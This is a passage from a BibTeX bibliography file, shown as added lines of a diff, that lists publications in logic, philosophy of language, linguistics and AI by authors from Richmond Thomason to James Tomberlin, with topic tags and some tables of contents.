{American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + pages = {102--109}, + missinginfo = {pages}, + topic = {discourse;context;pragmatics;} + } + +@incollection{ thomason_rh:1996a, + author = {Richmond H. Thomason}, + title = {Nonmonotonicity in Linguistics}, + booktitle = {Handbook of Logic and Language}, + publisher = {Elsevier Science Publishers}, + year = {1996}, + editor = {Johan {van Benthem} and Alice {ter Meulen}}, + pages = {777--831}, + address = {Amsterdam}, + topic = {nm-ling;} + } + +@unpublished{ thomason_rh:1996b, + author = {Richmond H. Thomason}, + title = {Nonmonotonic Formalisms for Natural Language Semantics}, + note = {Unpublished manuscript.}, + topic = {nonmonotonic-reasoning;foundations-of-semantics; + lexical-semantics;} + } + +@inproceedings{ thomason_rh-etal:1996a, + author = {Richmond Thomason and Jerry Hobbs and Johanna Moore}, + title = {Communicative Goals}, + booktitle = {Proceedings of the {ECAI} 96 Workshop on Gaps and + Bridges: New Directions in Planning and Natural Language + Generation}, + year = {1996}, + editor = {Kristiina Jokinen and Mark Maybury and Ingrid Zukerman}, + publisher = {Springer-Verlag}, + address = {Berlin}, + missinginfo = {pages}, + topic = {nl-interpretation;nl-generation;discourse;pragmatics;} + } + +@incollection{ thomason_rh-horty:1996a, + author = {Richmond H. Thomason and John F. Horty}, + title = {Nondeterministic Action and Dominance: + Foundations for Planning and Qualitative Decision}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {229--250}, + address = {San Francisco}, + note = {The statement and proof of the soundness theorem in + Section~7 of this version are flawed. See + www.pitt.edu/\user{}thomason/dominance.html.}, + xref = {Working Version: thomason_rh-horty:1997a.}, + topic = {action;concurrent-actions;conditionals;qualitative-utility; + dominance;} + } + +@inproceedings{ thomason_rh:1997a, + author = {Richmond H. Thomason}, + title = {Type Theoretic Foundations for Context}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {173--175}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;logic-of-context;} + } + +@unpublished{ thomason_rh:1997b, + author = {Richmond H. Thomason}, + title = {Towards a Logical Theory of Practical Reasoning}, + note = {Unpublished manuscript, 1997. Available at + www.pitt.edu/\user{}thomason.html. + }, + topic = {practical-reasoning;qualitative-utility;preferences;} + } + +@incollection{ thomason_rh:1997c, + author = {Richmond H. Thomason}, + title = {Type Theoretic Foundations for Context (Extended Abstract)}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + publisher = {American Association for Artificial Intelligence}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {211--220}, + address = {Menlo Park, California}, + topic = {context;logic-of-context;higher-order-logic;} + } + +@inproceedings{ thomason_rh-hobbs:1997a, + author = {Richmond H. Thomason and Jerry R. Hobbs}, + title = {Interrelating Interpretation and Generation in an Abductive + Framework}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Communicative Action in Humans and Machines}, + year = {1997}, + editor = {David Traum}, + pages = {97--105}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {speech-acts;pragmatics;discourse;pragmatics; + nl-generation-and-interpretation;} + } + +@unpublished{ thomason_rh-horty:1997a, + author = {Richmond H. Thomason and John F. Horty}, + title = {Nondeterministic Action and Dominance: + Foundations for Planning and Qualitative Decision}, + note = {Unpublished manuscript, 1997. Available at + www.pitt.edu/\user{}thomason/dominance.html. + (A version of this paper was published in Yoav Shoham, ed., + {\it Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996), + Morgan Kaufmann, 1996.}}, + xref = {Conference publication: thomason_rh-horty:1996a.}, + topic = {action;concurrent-actions;conditionals;qualitative-utility; + dominance;} + } + +@inproceedings{ thomason_rh:1998a, + author = {Richmond H. Thomason}, + title = {Intra-Agent Modality and Nonmonotonic Epistemic Logic}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {57--69}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;nonmonotonic-logic; + mutual-belief;} + } + +@inproceedings{ thomason_rh:1998b, + author = {Richmond H. Thomason}, + title = {Qualitative Decision Theory and Interactive Problem + Solving (Extended Abstract)}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Interactive and Mixed-Initiative Decision-Theoretic Systems}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + editor = {Peter Haddawy and Steve Hanks}, + pages = {107--113}, + address = {Menlo Park, CA}, + topic = {practical-reasoning;qualitative-utility;planning;} + } + +@inproceedings{ thomason_rh:1998c, + author = {Richmond H. Thomason}, + title = {Conditionals, Time, and Causal Independence}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {107--113}, + topic = {causality;causal-(in)dependence;temporal-reasoning; + branching-time;conditionals;} + } + +@inproceedings{ thomason_rh:1998d, + author = {Richmond H. Thomason}, + title = {Representing and Reasoning with Context}, + booktitle = {Artificial Intelligence and Symbolic Computation; + Proceedings of the International Conference {AISC}'98, + Plattsburgh, New York}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {29--41}, + publisher = {Springer-Verlag}, + address = {Berlin}, + topic = {context;logic-of-context;intensional-logic;} + } + +@inproceedings{ thomason_rh:1999a, + author = {Richmond H. Thomason}, + title = {Progress towards a Theory of Practical Reasoning: + Problems and Prospects}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Practical Reasoning and Rationality}, + year = {1999}, + editor = {John Bell}, + pages = {46--47}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {practical-reasoning;default-logic;} + } + +@incollection{ thomason_rh:1999b, + author = {Richmond H. Thomason}, + title = {Type Theoretic Foundations for Context, Part 1: Contexts + as Complex Type-Theoretic Objects}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {352--374}, + address = {Berlin}, + topic = {context;higher-order-logic;intensional-logic; + logic-of-context;} + } + +@inproceedings{ thomason_rh:1999c, + author = {Richmond H. Thomason}, + title = {Modeling the Beliefs of Other Agents}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {propositional-attitude-ascription;} + } + +@article{ thomason_rh:1999d, + author = {Richmond H. Thomason}, + title = {Review of {\em Reasoning about Knowledge}, + by {R}onald {F}agin and {J}oseph {Y}. {H}alpern and {Y}oram {M}oses + and {M}oshe {Y}. {V}ardi}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {1}, + pages = {128--136}, + xref = {Review of fagin-etal:1995b.}, + topic = {epistemic-logic;distributed-systems;communication-protocols; + game-theory;} + } + +@unpublished{ thomason_rh:1999e, + author = {Richmond H. Thomason}, + title = {Formalizing the Semantics of Derived Words}, + year = {1999}, + note = {Unpublished manuscript, available at + http://www.eecs.umich.edu/\user{}rthomaso/documents.html. } , + topic = {nm-ling;lexical-semantics;} + } + +@inproceedings{ thomason_rh:2000a, + author = {Richmond H. Thomason}, + title = {Desires and Defaults: A Framework for Planning with + Inferred Goals}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {702--713}, + topic = {desires;planning-formalisms;default-logic; + practical-reasoning;} + } + +@incollection{ thomason_rh:2000c, + author = {Richmond H. Thomason}, + title = {Modeling the Beliefs of Other Agents}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {375--473}, + address = {Dordrecht}, + topic = {logic-in-AI;reasoning-about-attitudes;agent-modeling; + mutual-beliefs;nonmonotonic-logic;} + } + +@article{ thomason_rh:2001a, + author = {Richmond H. Thomason}, + title = {Review of {\it Formal Aspects of Context}, edited by {P}ierre + {B}onzon, {M}arcos {C}avalcanti and {R}olf {N}ossum}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {4}, + pages = {598--600}, + xref = {Review of: bonzon-etal:2000a.}, + topic = {context;} + } + +@article{ thomason_sk:1972a, + author = {Steven K. Thomason}, + title = {Semantic Analysis of Tense Logics}, + journal = {Journal of Symbolic Logic}, + year = {1972}, + volume = {37}, + number = {1}, + pages = {150--158}, + topic = {temporal-logic;} + } + +@article{ thomason_sk:1974a, + author = {Steven K. Thomason}, + title = {An Incompleteness Theorem in Modal Logic}, + journal = {Theoria}, + year = {1974}, + volume = {40}, + pages = {30--34}, + missinginfo = {number}, + topic = {modal-logic;(in)compactness;} + } + +@unpublished{ thomason_sk:1978a, + author = {Steven K. Thomason}, + title = {Undecidability of the Completeness Problem of Modal + Logic}, + year = {1978}, + note = {Unpublished manuscript}, + topic = {modal-logic;undecidability;} + } + +@unpublished{ thomason_sk:1978b, + author = {Steven K. Thomason}, + title = {Independent Propositional Modal Logics}, + year = {1978}, + note = {Unpublished manuscript}, + topic = {modal-logic;} + } + +@article{ thomason_sk:1979a, + author = {Steven K. Thomason}, + title = {Independent Propositional Modal Logics}, + journal = {Studia Logica}, + year = {1979}, + volume = {34}, + pages = {143--144}, + missinginfo = {number, year is a guess}, + topic = {modal-logic;} + } + +@unpublished{ thomason_sk:1979b, + author = {Steven K. Thomason}, + title = {Possible Worlds, Time, and Tenure}, + year = {1979}, + note = {Unpublished manuscript}, + topic = {temporal-logic;individuation;} + } + +@article{ thomason_sk:1984a, + author = {Steven K. Thomason}, + title = {On Constructing Instants from Events}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {1}, + pages = {85--96}, + topic = {temporal-logic;temporal-representation;interval-logic;} + } + +@article{ thomason_sk:1989a, + author = {Steven K. Thomason}, + title = {Free Construction of Time from Events}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {1}, + pages = {43--67}, + topic = {philosophy-of-time;events;} + } + +@article{ thomason_sk:1993a, + author = {Steven K. Thomason}, + title = {Semantic Analysis of the Modal Syllogistic}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {2}, + pages = {111--128}, + topic = {syllogistic;modal-logic;} + } + +@article{ thomason_sk:1997a, + author = {Steven K. Thomason}, + title = {Relational Models for the Modal Syllogistic}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {2}, + pages = {129--141}, + topic = {syllogistic;modal-logic;} + } + +@incollection{ thompson_hs:1981a, + author = {Henry S. Thompson}, + title = {Chart Parsing for Loosely Coupled + Parallel Systems}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {231--241}, + address = {Dordrecht}, + topic = {parsing-algorithms;parallel-processing;} + } + +@incollection{ thompson_p-dozier:1997a, + author = {Paul Thompson and Christopher C. Dozier}, + title = {Name Searching and Information Retrieval}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {134--140}, + address = {Somerset, New Jersey}, + topic = {empircal-methods-in-nlp;personal-name-recognition;} + } + +@article{ thomson_jf:1960a, + author = {J.F. Thomson}, + title = {What {A}chilles Should Have Said to the Tortoise}, + journal = {Ratio}, + year = {1960}, + volume = {3}, + number = {a}, + pages = {95--105}, + topic = {Achilles-and-the-tortoise;} + } + +@incollection{ thomson_jf:1962a, + author = {J.F. Thomson}, + title = {On Some Paradoxes}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {104--119}, + address = {New York}, + topic = {diagonalization-arguments;semantic-paradoxes;} + } + +@article{ thomson_jj1:1954a, + author = {James J. Thomson}, + title = {Tasks and Supertasks}, + journal = {Analysis}, + year = {1954}, + volume = {15}, + pages = {1--13}, + missinginfo = {number}, + topic = {paradoxes-of-physical-infinity;paradoxes-of-motion;} + } + +@book{ thomson_jj1:1987a, + editor = {James J. Thomson}, + title = {On Being and Saying: Essays for {R}ichard {C}artwright}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + topic = {analytic-philosophy-collection;} + } + +@book{ thomson_jj2:1977a, + author = {Judith Jarvis Thomson}, + title = {Acts and Other Events}, + publisher = {Cornell University Press}, + year = {1977}, + address = {Ithaca}, + topic = {philosophy-of-action;} + } + +@book{ thomson_jj2:1987a, + editor = {Judith Jarvis Thomson}, + title = {On Being and Saying: Essays For {R}ichard {C}artwright}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + contentnote = {TC: + 1. George Boolos , "The Consistency of {F}rege's + Foundations of Arithmetic " + 2. Leonard Linsky, "Russell's `no-classes' theory of classes" + 3. Charles S. Chihara , "Quine's indeterminacy" + 4. Harold Levin, "Justifying Symbolizations" + 5. Scott Soames , "Substitutivity " + 6. Charles E. Caton, "Moore's Paradox, Sincerity Conditions, and + Epistemic Qualification " + 7. William P. Alston, "Matching Illocutionary Act Types" + 8. Roderick M. Chisholm, "Scattered Objects" + 9. Helen Morris Cartwright, "Parts and Places" + 10. Judith Jarvis Thomson, "Ruminations on an Account of Personal + Identity" + 11. Jordan Howard Sobel , "G\"odel's Ontological Proof " + 12. David Wiggins, "The concept of the Subject Contains the + Concept of The Predicate" + } , + ISBN = {0262200635}, + topic = {analytic-philosophy;} + } + +@book{ thomson_jj2:1990a, + author = {Judith Jarvis Thomson}, + title = {The Realm of Rights}, + publisher = {Harvard University Press}, + address = {Cambridge, Massachusetts}, + year = {1990}, + topic = {ethics;rights;} + } + +@book{ thornton:2000a, + author = {Chris Thornton}, + title = {Truth from Trash: How Learning Makes Sense}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0262201275}, + xref = {Review: hernandezorallo:2000a.}, + topic = {machine-learning;} + } + +@book{ thrall-etal:1960a, + editor = {Robert M. Thrall and C.H. Coombs and R.L. Davis}, + title = {Decision Processes}, + publisher = {John Wiley and Sons}, + year = {1960}, + address = {New York}, + topic = {decision-theory;} + } + +@article{ thrun:1998a, + author = {Sebastian Thrun}, + title = {Learning Metric-Topological Maps for Indoor + Mobile Robot Navigation}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {99}, + number = {1}, + pages = {21--71}, + topic = {machine-learning;robot-navigation;} + } + +@article{ thrun-etal:1999a, + author = {Sebastian thrun and Christos Faloufsos and Tom Mitchell + and Larry Wasserman}, + title = {Automated Learning and Discovery---State of the Art and + Research Topics in a Rapidly Growing Field}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {3}, + pages = {78--82}, + topic = {machine-learning;} + } + +@article{ thrun-etal:2001a, + author = {Sebastian Thrun and Dieter Fox and Wolfram Burgard and + Frank Dellaert}, + title = {Robust {M}onte {C}arlo Localization for Mobile Robots}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {128}, + number = {1--2}, + pages = {99--141}, + topic = {robotics;probabilistic-reasoning;mobile-robot-localization;} + } + +@book{ thurow:1980a, + author = {Lester C. Thurow}, + title = {The Zero-Sum Society : Distribution and the Possibilities for + Economic Change}, + publisher = {Basic Books}, + year = {1980}, + address = {New York}, + ISBN = {0465093841}, + topic = {political-economy;welfare-economics;} + } + +@book{ thurow:1984a, + author = {Lester C. Thurow}, + title = {Dangerous Currents: The State of Economics}, + publisher = {Vintage Books}, + year = {1984}, + address = {New York}, + ISBN = {0394723686 (pbk.)}, + topic = {economics-intro;} + } + +@book{ thyer:1999a, + editor = {Bruce A. Thyer}, + title = {The Philosophical Legacy of Behaviorism}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Dordrecht}, + ISBN = {0792357361}, + acontentnote = {TC: + 1. Michael L. Commons and Eric A. Goodheart, "The origins of + behaviorism" + 2. Jay Moore, "The basic principles of behaviorism" + 3. Richard Garrett, "Epistemology" + 4. Ernest A. Vargas, "Ethics" + 5. Jon S. Bailey and Robert J. Wallander, "Verbal behavior" + 6. Steven C. Hayes, Kelly G. Wilson, and Elizabeth V. + Gifford, "Consciousness and private events" + 7. Bruce Waller, "Free will, determinism and self-control" + 8. Roger Schnaitter, "Some criticisms of behaviorism" + } , + xref = {Review: backe:2000a.}, + topic = {behaviorism;philosophy-of-psychology;} + } + +@article{ tichy:1973a, + author = {Pavel Tichy}, + title = {On {\em De Dicto} Modalities in Quantified {S5}}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {3}, + pages = {387--392}, + topic = {modal-logic;} + } + +@article{ tichy:1975a, + author = {Pavel Tichy}, + title = {What Do We Talk About?}, + journal = {Philosophy of Science}, + year = {1975}, + volume = {42}, + number = {1}, + pages = {80--93}, + topic = {aboutness;intensionality;} + } + +@article{ tichy:1980a, + author = {Pavel Tich\'y}, + title = {The Logic of Temporal Discourse}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {3}, + number = {3}, + pages = {343--369}, + topic = {tense-aspect;nl-tense;} + } + +@article{ tichy:1985a, + author = {Pavel Tich\'y}, + title = {Do We Need Interval Semantics?}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {2}, + pages = {263--282}, + topic = {tense-aspect;temporal-reasoning;} + } + +@inproceedings{ tick-dambrosio:1995a, + author = {E. Tick and Bruce D'Ambrision}, + title = {Evaluating Bayes Nets with Concurrent Process + Networks}, + booktitle = {Proceedings of the 9th International Symposium on Parallel + Processing (IPPS'95}, + year = {1995}, + pages = {805--811}, + missinginfo = {Editor, Organization, Address, A's 1st name.}, + topic = {probabilistic-reasoning;Bayesian-networks;parallel-processsing;} + } + +@article{ tiede:1999a, + author = {Hans-Joerg Tiede}, + title = {Review of {\em Basic Simple Type Theory}, + by {J}. {R}oger {H}indley}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {4}, + pages = {473--476}, + xref = {Review of hindley:1997a.}, + topic = {higher-order-logic;} + } + +@article{ tiedemann:1999a, + author = {J\"org Tiedemann}, + title = {Review of {\it Linguistic Databases}, edited by {J}ohn + {N}erbonne}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {1}, + pages = {167--169}, + xref = {Review of nerbonne:1997a.}, + topic = {linguistic-databases;corpus-linguistics; + computer-assisted-science;computer-assisted-linguistics;} + } + +@article{ tienson:1974a, + author = {John Tienson}, + title = {On Analyzing Knowledge}, + journal = {Philosophical Studies}, + year = {1974}, + volume = {25}, + pages = {289--293}, + missinginfo = {number}, + topic = {knowledge;} + } + +@unpublished{ tienson:1974b, + author = {John Tienson}, + title = {Hintikka's Argument for the `Basic Restriction'\,}, + year = {1974}, + note = {Unpublished manuscript, Indiana University}, + missinginfo = {Date is a guess.}, + topic = {epistemic-logic;quantifying-in-modality;} + } + +@unpublished{ tienson:1974c, + author = {John Tienson}, + title = {On Some Questions of Metaphysics}, + year = {1974}, + note = {Unpublished manuscript, Indiana University}, + missinginfo = {Date is a guess.}, + topic = {metaphysics;metaphilosophy;} + } + +@unpublished{ tienson:1974d, + author = {John Tienson}, + title = {An Argument Concerning Quantification and Propositional + Attitudes}, + year = {1974}, + note = {Unpublished manuscript, Indiana University}, + missinginfo = {Date is a guess.}, + topic = {quantifying-in-modality;propositional-attitudes;} + } + +@incollection{ tiercelin:1984a, + author = {Claudine Tiercelin}, + title = {Peirce on Machines, Self-Control and Intentionality}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {99--113}, + address = {Chichester}, + topic = {Peirce;intentionality;} + } + +@article{ tierney:2002a, + author = {Richard Tierney}, + title = {Review of {\it Aristotle's Theory of Language and + Meaning}, by {D}eborah {K}.{W}. {M}odrak}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {4}, + pages = {203--209}, + xref = {Review of: modrak:2000a.}, + topic = {Aristotle;philosophy-of-language;} + } + +@article{ tieszen:1998a, + author = {Richard Tieszen}, + title = {G\"odel's Path from the Incompleteness Theorems + (1931) to Phenomenology (1961)}, + journal = {The Bulletin of Symbolic Logic}, + year = {1998}, + volume = {4}, + number = {2}, + pages = {181--203}, + topic = {Goedel;history-of-logic;philosophy-of-logic; + goedels-first-theorem;goedels-second-theorem;} + } + +@phdthesis{ tietz:1966a, + author = {Hohn H. Tietz}, + title = {J.L. {A}ustin's `Ifs and Cans' and the Incompatibility of + Free Will and Determinism}, + school = {Claremont Graduate School and University Center}, + year = {1966}, + type = {Ph.{D}. Dissertation}, + address = {Claremont, California}, + topic = {JL-Austin;ability;conditionals;freedom;(in)determinism;} + } + +@article{ tiffany:1999a, + author = {Evan Tiffany}, + title = {Semantics {S}an {D}iego Style}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {95}, + number = {8}, + pages = {416--429}, + topic = {cognitive-semantics;state-space-semantics; + foundations-of-semantics;conceptual-role-semantics;} + } + +@incollection{ tijus:2001a, + author = {Charles Tijus}, + title = {Contextual Categorization and Cognitive Phenomena}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {316--329}, + address = {Berlin}, + topic = {context;cognitive-psychology;} + } + +@article{ tillman_fa:1966a, + author = {Frank A. Tillman}, + title = {Facts, Events, and True Statements}, + journal = {Theoria}, + year = {1966}, + volume = {32, Part 2}, + pages = {116--129}, + missinginfo = {number}, + topic = {truth;truth-bearers;JL-Austin;facts;} + } + +@inproceedings{ tillmann_c:1997a, + author = {Christoph Tillmann and Stephen Vogel and Hermann Ney + and Alex Zubiaga}, + title = {A {DP}-based Search Using Monotone Alignments in + Statistical Translation}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {289--296}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {statistical-nlp;machine-translation;} + } + +@incollection{ tilman-ney:1998a, + author = {Christoph Tilman and Hermann Ney}, + title = {Word Triggers and the {EM} Algorithm}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {117--134}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;disambiguation;} + } + +@book{ tinbergen:1951a, + author = {Niko Tinbergen}, + title = {The Study of Instinct}, + publisher = {Oxford University Press}, + year = {1951}, + address = {Oxford}, + ISBN = {0471923818}, + topic = {animal-behavior;instinct;} + } + +@book{ tinbergen:1958a, + author = {Niko Tinbergen}, + title = {Curious Naturalists}, + publisher = {New York, Basic Books [}, + year = {1958}, + address = {New}, + ISBN = {019857343X}, + topic = {animal-behavior;instinct;} + } + +@article{ tinkham:1998a, + author = {Nancy Lynn Tinkham}, + title = {Schema Induction for Logic Program Synthesis}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {98}, + number = {1--2}, + pages = {1--47}, + topic = {logic-program-synthesis;} + } + +@inproceedings{ tiomkin-kaminski:1990a, + author = {Michael Tiomkin and Michael Kaminski}, + title = {Nonmonotonic Modal Default Logics (Detailed Abstract)}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {73--83}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {nonmonotonic-logic;modal-logic;} + } + +@article{ tiomkin-kaminski:1993a, + author = {Robert Tiomkin and Michael Kaminski}, + title = {Semantic Analysis of Logic of Actions}, + journal = {Journal of Logic and Computation}, + volume = {5}, + number = {2}, + pages = {203--212}, + year = {1995}, + topic = {action-formalisms;} + } + +@article{ titani:1997a, + author = {Satoko Titani}, + title = {Completeness of Global Intuitionistic Set Theory}, + journal = {The Journal of Symbolic Logic}, + year = {1997}, + volume = {62}, + number = {2}, + pages = {506--528}, + topic = {intuitionistic-logic;completeness-theorems;} + } + +@inproceedings{ tkeda:1996a, + author = {Koichi Takeda}, + title = {Pattern-Based Context-Free Grammars for Machine Translation}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {144--151}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {machine-translation;} + } + +@inproceedings{ tobies:2000a, + author = {Ian Horrocks and Stephan Tobies}, + title = {Reasoning with Axioms: Theory and Practice}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {285--296}, + topic = {terminological-logics;classifier-algorithms; + extensions-of-kl1;} + } + +@book{ todd-loy:1991a, + editor = {Peter M. Todd and D. Gareth Loy}, + title = {Music and Connectionism}, + publisher = {The {MIT} Press}, + year = {1991}, + address = {Cambridge, Massachusetts}, + ISBN = {0262200813}, + xref = {Review: Brad Garton}, + topic = {AI-and-music;connectionist-models;connectionism;} + } + +@incollection{ todt:1983a, + author = {G\"unter Todt}, + title = {Fuzzy Logic and Modal Logic}, + booktitle = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + pages = {213--260}, + address = {Amsterdam}, + topic = {vagueness;sorites-paradox;fuzzy-logic;} + } + +@inproceedings{ tohme:1997a, + author = {Fernando Tohme}, + title = {Negotiation and Defeasible Reasons for Choice}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {95--102}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {practical-reasoning;negotiation;} + } + +@article{ tolliver:1988a, + author = {Joseph Thomas Tolliver}, + title = {Disjunctivitis}, + journal = {Mind and Language}, + year = {1988}, + volume = {3}, + number = {1}, + pages = {64--70}, + topic = {philosophy-of-language;foundations-of-semantics; + philosophy-of-mind;} + } + +@article{ tomberlin:1970a, + author = {James E. Tomberlin}, + title = {Prior on Time and Tense}, + journal = {The Review of Metaphysics}, + year = {1970}, + volume = {24}, + number = {1}, + pages = {59--81}, + contentnote = {This is a review of prior:1968a.}, + topic = {temporal-logic;} + } + +@article{ tomberlin:1971a, + author = {James E. Tomberlin}, + title = {Essentialism: Strong and Weak}, + journal = {Metaphilosophy}, + year = {1971}, + volume = {2}, + number = {4}, + pages = {309--315}, + topic = {essentialism;} + } + +@article{ tomberlin:1981a, + author = {James E. Tomberlin}, + title = {Contrary-to-Duty Imperatives and Conditional Obligation}, + journal = {No\^us}, + year = {1981}, + volume = {16}, + pages = {357--375}, + topic = {deontic-logic;} + } + +@book{ tomberlin:1983a, + editor = {James E. Tomberlin}, + title = {Agent, Language, and The Structure of the World: Essays + Presented to {H}ector-{N}eri {C}asta\~neda, with His Replies}, + publisher = {Hackett Publishing Co.}, + year = {1983}, + address = {Indianapolis, Indiana}, + ISBN = {0915145553}, + topic = {agency;philosophy-of-language;} + } + +@book{ tomberlin:1987a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives 1: Metaphysics}, + publisher = {Blackwell Publishers}, + year = {1987}, + address = {Oxford}, + contentnote = {TC: + 1. Terence Parsons, "Entities Without Identity", pp. 1--19 + 2. Peter van Inwagen, "When Are Objects Parts?", pp. 21--47 + 3. Nathan Salmon, "Existence", pp. 49--108 + 4. John L. Pollock, "How To Build a Person: The Physical Basis + for Mentality", pp. 109--154 + 5. Ernest Sosa, "Subjects Among Other Things", pp. 155--187 + 6. Alvin Plantinga, "Two Concepts of Modality: Modal Realism and + Modal Reductionism", pp. 189--231 + 7. Nicholas Wolterstorff, "Are Concept-Users World-Makers?", pp. + 233--267 + 8. Bruce Aune, "Conceptual Relativism", pp. 269--288 + 9. George Bealer, "The Philosophical Limits of Scientific + Essentialism", pp. 289--365 + 10. Jonathan Bennett, "Event Causation: The Counterfactual + Analysis", pp. 367--386 + 11. Jay F. Rosenberg, "Phenomenological Ontology Revisited: A + Bergmannian Retrospective", pp. 387--404 + 12. Hector-Neri Castaneda, "Self-Consciousness, Demonstrative + Reference, and the Self-Ascription View of Believing", + pp. 405--454 